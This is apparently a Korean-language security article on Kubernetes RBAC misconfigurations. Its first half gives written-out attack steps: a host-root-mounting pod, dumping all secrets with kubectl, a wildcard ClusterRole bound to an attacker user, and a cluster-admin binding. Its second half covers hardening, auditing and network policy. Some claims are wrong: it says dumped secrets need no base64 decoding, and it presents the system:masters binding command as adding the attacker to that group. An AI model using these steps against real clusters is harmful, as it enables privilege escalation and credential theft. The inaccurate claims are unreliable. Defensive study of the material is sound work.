Kubernetes RBAC 취약점 - 클라우드 네이티브 보안 위협 심층 분석

rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list", "watch"]

rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["create"]

rules:
- apiGroups: [""]
  resources: ["persistentvolumes"]
  verbs: ["create"]

rules:
- apiGroups: [""]
  resources: ["nodes/proxy"]
  verbs: ["get"]

rules:
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["clusterroles"]
  verbs: ["escalate"]

rules:
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["clusterrolebindings", "rolebindings"]
  verbs: ["bind"]

rules:
- apiGroups: ["authentication.k8s.io"]
  resources: ["users", "groups", "serviceaccounts"]
  verbs: ["impersonate"]

1. 공격자: pod/create 권한만 가짐
2. 악의적 Pod 생성:
   apiVersion: v1
   kind: Pod
   metadata:
     name: attacker-pod
   spec:
     containers:
     - name: attacker
       image: ubuntu
       command: ["/bin/sh", "-c", "sleep infinity"]
       volumeMounts:
       - name: host-root
         mountPath: /host
         readOnly: true
     volumes:
     - name: host-root
       hostPath:
         path: /
         type: Directory
     serviceAccountName: privileged-sa
3. 서비스 계정 권한 탈취
4. 클러스터 admin 권한 획득

1. 공격자: secrets/list 권한 획득
2. 명령 실행:
   kubectl get secrets -A -o yaml
3. 모든 시크릿 내용 탈취 (base64 디코딩 필요 없음)
4. 탈취 정보:
   - 데이터베이스 비밀번호
   - API 키 및 토큰
   - TLS 인증서
   - 서비스 계정 토큰

1. 공격자: clusterrole/escalate 권한 획득
2. 권한 상승 공격:
   apiVersion: rbac.authorization.k8s.io/v1
   kind: ClusterRole
   metadata:
     name: escalated-role
   rules:
   - apiGroups: ["*"]
     resources: ["*"]
     verbs: ["*"]
3. 자신에게 바인딩:
   kubectl create clusterrolebinding escalated-binding \
     --clusterrole=escalated-role \
     --user=attacker
4. 클러스터 전체 제어 권한 획득

# 공격자가 system:masters 그룹에 추가되면 RBAC 검사가 완전히 우회됨
kubectl create clusterrolebinding attacker-admin \
  --clusterrole=cluster-admin \
  --group=system:masters

# ❌ 안 좋은 예: 와일드카드 사용
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

# ✅ 좋은 예: 구체적 권한 지정
rules:
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "watch", "create", "update"]
  resourceNames: ["my-app"]

# RoleBinding 사용 (권장)
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: developer-binding
  namespace: production
subjects:
- kind: User
  name: developer
roleRef:
  kind: Role
  name: developer-role
  apiGroup: rbac.authorization.k8s.io

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  automountServiceAccountToken: false
  serviceAccountName: limited-sa

# 과도한 권한 확인
kubectl get rolebindings,clusterrolebindings --all-namespaces -o json | \
  jq '.items[] | select(.subjects[]?.kind=="Group" and .subjects[]?.name=="system:masters")'

# cluster-admin 바인딩 확인
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin")'

# AuditPolicy 설정
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
  resources:
  - group: "rbac.authorization.k8s.io"
    resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress

# 네임스페이스 레벨 정책 적용
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted